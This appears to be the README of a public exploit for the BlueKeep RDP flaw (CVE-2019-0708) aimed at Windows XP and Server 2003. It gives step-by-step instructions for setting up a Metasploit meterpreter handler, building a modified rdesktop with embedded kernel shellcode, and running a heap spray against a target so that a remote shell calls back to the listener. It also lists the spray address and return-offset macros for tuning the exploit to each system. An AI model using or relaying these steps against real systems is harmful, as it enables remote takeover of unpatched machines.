cve-2019-0708_bluekeep_rce

1. Run msfconsole meterpreter/multi/handler listening on 192.168.116.133:6000
2. cd rdesktop-1.5.0 && make
3. Edit config, configure callback IP and port 192.168.116.133 6000
4. Execute ./heap_spray 192.168.116.134 (134 is the XP address, memory >= 2G)
5. msfconsole meterpreter will get a session

ps: shellcode/shellcode.asm is the kernel shellcode source code. After compilation and conversion to binary, it becomes the file rdesktop-1.5.0\cf517d077e9c152120787eb6b251615b, which will be compiled directly into the program during make.

Currently only supports XP, requires XP memory >= 2G

To support 2003, you need to modify the HEAP_SPRAY_ADDRESS macro in heap_spray.c. After repeated testing, this address varies across different 2003 system versions and memory sizes. However, if testing on your own machine, it is possible to successfully exploit on 2003. Not universal.

heap_spray.c

#ifdef _2003

#define HEAP_SPRAY_ADDRESS 0x953b09c0 // Need to debug the heap spray shellcode address yourself with windbg. If any friend finds a universal solution, please submit an issue

#define IcaChannelInputInternal_RET_OFFSET 0x268

#else

#define IcaChannelInputInternal_RET_OFFSET 0x274

#define HEAP_SPRAY_ADDRESS 0x88c969c0

#endif

Testing 2003

1. Run msfconsole meterpreter/multi/handler listening on 192.168.116.133:6000
2. cd rdesktop-1.5.0 && make
3. Edit config, configure callback IP and port 192.168.116.133 6000
4. Execute ./_2003_heap_spray 192.168.116.135 (135 is the 2003 address, memory >= 2G)
5. msfconsole meterpreter will get a session